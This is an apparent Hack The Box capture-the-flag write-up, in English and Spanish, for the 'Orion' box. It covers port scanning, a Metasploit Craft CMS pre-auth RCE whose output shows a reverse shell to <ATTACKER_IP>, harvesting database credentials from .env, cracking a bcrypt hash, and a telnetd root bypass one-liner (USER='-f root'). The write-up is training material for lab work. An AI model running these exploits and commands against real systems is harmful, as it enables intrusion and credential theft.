Orion
Executive summary — Orion is an Easy Linux box serving the "Orion Telecom" corporate site on Craft CMS 2.0.51. The foothold is a pre-authentication RCE (CVE-2025-32432) that lands a
www-datashell; from there we read the application's.env, which stores cleartext MySQL credentials. Inside the database we steal the admin's bcrypt hash, crack it with hashcat and rockyou, and reuse that same password to log in over SSH as the system useradam. Escalation to root exploits an authentication flaw more than a decade old in the local Telnet service from GNU Inetutils (CVE-2026-24061). Path: Craft RCE -> .env -> MySQL -> hashcat -> SSH -> local Telnet -> root.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu 22.04.5 LTS) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.244.146 |
Attack map
[80] Craft CMS 2.0.51 -> CVE-2025-32432 (pre-auth RCE) -> www-data shell
| .env in /html/craft with cleartext MySQL credentials
v
[MySQL] users table -> admin bcrypt hash -> hashcat + rockyou -> darkangel
| password reuse with user adam
v
[SSH] adam (user.txt)
| ss -tulnp -> Telnet only on 127.0.0.1:23 -> CVE-2026-24061
v
[ROOT] (root.txt)
1. Reconnaissance
Host discovery and a full port scan, UDP included:
netdiscover -i tun0 -P
arp-scan -I tun0 --localnet
nmap -p- --min-rate=2000 -T4 -Pn 10.129.244.146
nmap -sC -sV -p 22,80 -Pn 10.129.244.146
nmap -sU --top-ports 100 -T4 -Pn 10.129.244.146
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 |
| 80/tcp | HTTP | nginx 1.18.0 (Ubuntu) |
No open UDP ports show up in the top 100. Web enumeration:
whatweb -a 3 http://10.129.244.146
nikto -h http://10.129.244.146
feroxbuster -u http://10.129.244.146 -w /usr/share/wordlists/dirb/common.txt
whatwebreturns a 302 tohttp://orion.htb/: the real site is served by vhost name, not by the bare IP. First hint not to write off a site just because the IP alone looks empty.
echo "10.129.244.146 orion.htb" | sudo tee -a /etc/hosts
Browsing to orion.htb shows the "Orion Telecom" site, with a contact form (Name, Email, Message).
Resumen ejecutivo — Orion es un Linux Easy que sirve la web corporativa de "Orion Telecom" sobre Craft CMS 2.0.51. El foothold es un RCE pre-autenticacion (CVE-2025-32432) que da una shell como
www-data; desde ahi leemos el.envde la aplicacion, que guarda las credenciales de MySQL en texto claro. Dentro de la base de datos robamos el hash bcrypt del admin, lo crackeamos con hashcat y rockyou, y reutilizamos esa misma contraseña para entrar por SSH como el usuario del sistemaadam. La escalada a root explota una vulnerabilidad de autenticacion de mas de una decada de antigüedad en el Telnet local de GNU Inetutils (CVE-2026-24061). Recorrido Craft RCE -> .env -> MySQL -> hashcat -> SSH -> Telnet local -> root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu 22.04.5 LTS) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.244.146 |
Mapa del ataque
[80] Craft CMS 2.0.51 -> CVE-2025-32432 (RCE pre-auth) -> shell www-data
| .env en /html/craft con credenciales de MySQL en texto claro
v
[MySQL] tabla users -> hash bcrypt del admin -> hashcat + rockyou -> darkangel
| reutilizacion de la password con el usuario adam
v
[SSH] adam (user.txt)
| ss -tulnp -> Telnet solo en 127.0.0.1:23 -> CVE-2026-24061
v
[ROOT] (root.txt)
1. Reconocimiento
Descubrimiento de host y escaneo de puertos completo, incluyendo UDP:
netdiscover -i tun0 -P
arp-scan -I tun0 --localnet
nmap -p- --min-rate=2000 -T4 -Pn 10.129.244.146
nmap -sC -sV -p 22,80 -Pn 10.129.244.146
nmap -sU --top-ports 100 -T4 -Pn 10.129.244.146
| Puerto | Servicio | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 |
| 80/tcp | HTTP | nginx 1.18.0 (Ubuntu) |
No se detectan puertos UDP abiertos en el top 100. Enumeracion web:
whatweb -a 3 http://10.129.244.146
nikto -h http://10.129.244.146
feroxbuster -u http://10.129.244.146 -w /usr/share/wordlists/dirb/common.txt
whatwebdevuelve un 302 haciahttp://orion.htb/: el sitio real se sirve por nombre de vhost, no por IP directa. Es el primer aviso a no descartar la web solo por lo que se vea al pedir la IP a pelo.
echo "10.129.244.146 orion.htb" | sudo tee -a /etc/hosts
Al navegar a orion.htb aparece la web de "Orion Telecom", con un formulario de contacto (Name, Email, Message).
2. Technology identification — Craft CMS 2.0.51
Inspecting the contact-form requests and the response headers reveals the exact CMS and version: Craft CMS 2.0.51, vulnerable per a CVE search against that version.
CVE-2025-32432 is an unauthenticated RCE in Craft CMS: just reaching the vulnerable endpoint is enough to execute commands as the web server user, no credentials or prior session required.
Exploit used: Metasploit module linux/http/craftcms_preauth_rce_cve_2025_32432.
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS 10.129.244.146
set VHOST orion.htb
run
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[+] The target is vulnerable.
[*] Sending stage (45739 bytes) to 10.129.33.100
[*] Meterpreter session 1 opened
Initial access gained as www-data.
3. Initial post-exploitation — www-data and the .env
meterpreter > shell
whoami
# www-data
cd /html/craft
cat .env
Landing an RCE is never the end goal on its own: the first stop after gaining command execution is always the configuration files. Craft CMS keeps all of its sensitive config in
.env, at the root of the application.
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
MySQL credentials are exposed in cleartext, and the database user is directly root.
4. MySQL database — the admin's bcrypt hash
mysql -u root -p orion # password: SuperSecureCraft123Pass!
use orion;
select id, username, email, password from users;
This returns the admin user's bcrypt hash:
$2y$13$e9uohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
5. Cracking the hash (hashcat)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Hash.Target...: $2y$13$e9uohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS
Status...........: Cracked
Password recovered: darkangel.
6. Lateral movement — SSH as adam
The password
darkangelis reused withadam, a system user found under/homeon the target. Reusing passwords between the application database and operating-system accounts is a very common pattern.
ssh adam@orion.htb # password: darkangel
cat /home/adam/user.txt
7. Local enumeration as adam — Telnet on localhost
With interactive access, we enumerate services listening on the box itself:
ss -tulnp
tcp LISTEN 0 128 127.0.0.1:23 0.0.0.0:*
Port 23 (Telnet) only listens on
127.0.0.1, which is why it never showed up in the initial external nmap scan — it's only reachable from inside the box itself. Enumerating local services after getting a shell (ss -tulnp/netstat) is a step that must never be skipped.
telnet --version
# telnet (GNU inetutils) 2.7
8. Privilege escalation — CVE-2026-24061 (Telnet auth bypass)
Vulnerability: GNU Inetutils
telnetd(versions up to 2.7) fails to sanitize theUSERenvironment variable before passing it as an argument to/usr/bin/login. SendingUSER="-f root"makes the daemon build the commandlogin -f root; the-fflag tellsloginto treat the session as already authenticated for that user, skipping the password entirely. CVSS 9.8 (Critical).
USER="-f root" telnet -a 127.0.0.1
root@orion:~# whoami
root
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| RCE | Craft CMS 2.0.51 | CVE-2025-32432 (pre-auth RCE) | Initial shell as www-data |
| Info | .env in /html/craft | Cleartext MySQL credentials | Database access |
| Credentials | MySQL / users table | Crackable admin bcrypt hash (rockyou) | Cleartext password (darkangel) |
| Lateral | Password reuse | Same password in MySQL and over SSH (adam) | System user + user.txt |
| PrivEsc | Local Telnet (127.0.0.1:23) | CVE-2026-24061 — USER="-f root" bypasses login auth | Root + root.txt |
Lessons learned
- Vhosts on HTB: always check for redirects (302) and resolve the domain in
/etc/hostsbefore writing off a site as "empty" from the bare IP. - Update the CMS: CVE-2025-32432 gives unauthenticated RCE; patch Craft CMS.
- A
.envexposed after an RCE is a credentials goldmine: check it immediately after gaining command execution. - Don't reuse passwords between the application database and operating-system accounts.
- Always enumerate localhost-only services after landing a shell (
ss -tulnp/netstat): they never show up in an external scan and can be a direct path to root. - Old vulnerabilities keep killing: CVE-2026-24061 sat undiscovered in
telnetd's code for over a decade before being actively exploited.
2. Identificacion de la tecnologia — Craft CMS 2.0.51
Inspeccionando las peticiones del formulario y las cabeceras de la respuesta se identifica el CMS y su version exacta: Craft CMS 2.0.51, vulnerable segun busqueda de CVEs asociados a esa version.
CVE-2025-32432 es un RCE sin autenticacion en Craft CMS: basta con alcanzar el endpoint vulnerable para ejecutar comandos como el usuario del servidor web, sin necesidad de credenciales ni de sesion previa.
Exploit usado: modulo de Metasploit linux/http/craftcms_preauth_rce_cve_2025_32432.
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS 10.129.244.146
set VHOST orion.htb
run
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[+] The target is vulnerable.
[*] Sending stage (45739 bytes) to 10.129.33.100
[*] Meterpreter session 1 opened
Acceso inicial conseguido como www-data.
3. Post-explotacion inicial — www-data y el .env
meterpreter > shell
whoami
# www-data
cd /html/craft
cat .env
Un RCE nada mas conseguido no es el final: la primera parada tras ganar ejecucion de comandos es siempre buscar ficheros de configuracion. Craft CMS guarda toda su configuracion sensible en
.env, dentro de la raiz de la aplicacion.
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
Las credenciales de MySQL quedan expuestas en texto claro, y el usuario de base de datos es directamente root.
4. Base de datos MySQL — hash bcrypt del admin
mysql -u root -p orion # password: SuperSecureCraft123Pass!
use orion;
select id, username, email, password from users;
Se obtiene el hash bcrypt del usuario admin:
$2y$13$e9uohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
5. Cracking del hash (hashcat)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Hash.Target...: $2y$13$e9uohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS
Status...........: Cracked
Contraseña obtenida: darkangel.
6. Movimiento lateral — SSH como adam
La contraseña
darkangelse reutiliza conadam, usuario del sistema encontrado en/homede la maquina victima. La reutilizacion de contraseñas entre la base de datos de la aplicacion y las cuentas del sistema operativo es un patron muy comun.
ssh adam@orion.htb # password: darkangel
cat /home/adam/user.txt
7. Enumeracion local como adam — Telnet en localhost
Con acceso interactivo, se enumeran los servicios que escuchan en la propia maquina:
ss -tulnp
tcp LISTEN 0 128 127.0.0.1:23 0.0.0.0:*
El puerto 23 (Telnet) escucha unicamente en
127.0.0.1: por eso no aparecio en el escaneo de nmap inicial hecho desde fuera. Solo es alcanzable desde dentro de la propia maquina — la enumeracion de servicios locales tras obtener una shell (ss -tulnponetstat) es un paso que nunca hay que saltarse.
telnet --version
# telnet (GNU inetutils) 2.7
8. Escalada de privilegios — CVE-2026-24061 (Telnet auth bypass)
Vulnerabilidad: el
telnetdde GNU Inetutils (versiones hasta la 2.7) no sanitiza la variable de entornoUSERantes de pasarla como argumento a/usr/bin/login. EnviandoUSER="-f root", el demonio construye el comandologin -f root; el flag-fle indica aloginque trate la sesion como ya autenticada para ese usuario, saltandose la contraseña por completo. CVSS 9.8 (Critico).
USER="-f root" telnet -a 127.0.0.1
root@orion:~# whoami
root
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| RCE | Craft CMS 2.0.51 | CVE-2025-32432 (RCE pre-auth) | Shell inicial como www-data |
| Info | .env en /html/craft | Credenciales de MySQL en texto claro | Acceso a la base de datos |
| Credenciales | MySQL / tabla users | Hash bcrypt del admin crackeable (rockyou) | Contraseña en claro (darkangel) |
| Lateral | Reutilizacion de password | Misma contraseña en MySQL y en SSH (adam) | Usuario del sistema + user.txt |
| PrivEsc | Telnet local (127.0.0.1:23) | CVE-2026-24061 — USER="-f root" salta la auth de login | Root + root.txt |
Lecciones aprendidas
- Vhosts en HTB: revisa siempre las redirecciones (302) y resuelve el dominio en
/etc/hostsantes de descartar una web por "no tener nada" en la IP directa. - Actualiza el CMS: CVE-2025-32432 da RCE sin autenticacion; parchea Craft CMS.
- Los
.envexpuestos tras un RCE son una mina de credenciales: revisalos nada mas conseguir ejecucion de comandos. - No reutilices contraseñas entre la base de datos de la app y las cuentas del sistema operativo.
- Enumera siempre los servicios en localhost tras obtener una shell (
ss -tulnp/netstat): no aparecen en ningun escaneo externo y pueden ser el camino a root. - Las vulnerabilidades viejas siguen matando: CVE-2026-24061 llevaba mas de una decada sin descubrirse en el codigo de
telnetdantes de ser explotada activamente.